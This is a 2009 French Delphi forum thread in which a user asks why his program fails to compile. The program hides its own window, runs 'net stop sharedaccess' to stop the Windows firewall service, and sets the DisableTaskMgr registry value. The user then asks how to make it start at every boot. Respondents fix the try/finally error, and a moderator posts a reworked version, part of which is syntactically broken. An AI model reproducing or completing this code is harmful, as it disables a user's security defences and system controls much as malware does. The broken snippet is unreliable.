Je ne vois pas le probleme de mon code =\

Résolu
emirej Messages postés 90 Date d'inscription mercredi 14 mars 2007 Statut Membre Dernière intervention 31 mai 2009 - 1 mars 2009 à 18:25
f0xi Messages postés 4205 Date d'inscription samedi 16 octobre 2004 Statut Modérateur Dernière intervention 12 mars 2022 - 2 mars 2009 à 08:47
Bonjour, en faite j'ai un problème quand je veux compiler mon programme, il me dise qu'il y a une erreur =\

Voici mon code

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, jpeg, ExtCtrls, Shellapi, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Label1: TLabel;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormActivate(Sender: TObject);
   

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.Hide;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ShellExecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
end;

procedure TForm1.FormActivate(Sender: TObject);
var Registre:TRegistry;
begin
Registre:=TRegistry.Create;
try
Registre.RootKey:=HKEY_CURRENT_USER;
Registre.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true);
Registre.WriteString('DisableTaskMgr','1');
Registre.CloseKey;
Registre.Free;
Registre.Free;
end;
end;
end;

end.

Je n'arrive pas à déterminer d'ou vient ce problème. Merci de m'éclaircir un peu ^^"

Voici mon message d'erreur

Build
  [Warning] Unit1.pas(42): Constant 0 converted to NIL
  [Error] Unit1.pas(56): EXCEPT or FINALLY expected
  [Error] Unit1.pas(58): '.' expected but ';' found
  [Fatal Error] Test.dpr(5): Could not compile used unit 'Unit1.pas'

7 réponses

Nicolas___ Messages postés 992 Date d'inscription jeudi 2 novembre 2000 Statut Membre Dernière intervention 24 avril 2013 1
1 mars 2009 à 18:38
procedure TForm1.FormActivate(Sender: TObject);
var Registre:TRegistry;
begin
  Registre:=TRegistry.Create;
  try
    Registre.RootKey:=HKEY_CURRENT_USER;
    Registre.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true);
    Registre.WriteString('DisableTaskMgr','1');
    Registre.CloseKey;
  finally
    Registre.Free;
  end;
end;
3
emirej Messages postés 90 Date d'inscription mercredi 14 mars 2007 Statut Membre Dernière intervention 31 mai 2009
1 mars 2009 à 18:51
Haaaaaaaaaaaaa ! Purée merci, je cherche depuis 30 minutes ! MERCI
0
emirej Messages postés 90 Date d'inscription mercredi 14 mars 2007 Statut Membre Dernière intervention 31 mai 2009
1 mars 2009 à 18:53
Une autre question aussi, comment faire pour mettre mon programme dans la base de registre de tel sorte à ce qu'il démarre à chaque démarrage de Windows s'il vous plait ?
0
Nicolas___ Messages postés 992 Date d'inscription jeudi 2 novembre 2000 Statut Membre Dernière intervention 24 avril 2013 1
1 mars 2009 à 19:26
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
emirej Messages postés 90 Date d'inscription mercredi 14 mars 2007 Statut Membre Dernière intervention 31 mai 2009
1 mars 2009 à 19:48
Mhhh le lien que tu m'as passé à l'air d'être du Visual Basic je si ne m'abuse =\
0
Nicolas___ Messages postés 992 Date d'inscription jeudi 2 novembre 2000 Statut Membre Dernière intervention 24 avril 2013 1
1 mars 2009 à 20:10
t'exagère !

il y a un scrolling vertical aussi !

puis c'est sur snippet : ya en VB, VB.net , c# , java ... et aussi DELPHI !!!
0
f0xi Messages postés 4205 Date d'inscription samedi 16 octobre 2004 Statut Modérateur Dernière intervention 12 mars 2022 35
2 mars 2009 à 08:47
var
  DTM : boolean = false;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if ParamCount = 2 then    DTM :ParamStr(1) '/d';
   
  if not DTM then
    ShellExecute(0, 'open', 'net.exe', 'stop sharedaccess', nil, nil);
end;

procedure TForm1.FormActivate(Sender: TObject);
const
  DTMTV : array[Boolean] of String = ('1','0');
begin
  with TRegistry.Create do
  try
    RootKey := HKEY_CURRENT_USER;
    if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true) then
      WriteString('DisableTaskMgr', DTMTV[DTM]);
    CloseKey;
  finally
    Free;
  end;
end;

<hr size="2" width="100%" />
0
Rejoignez-nous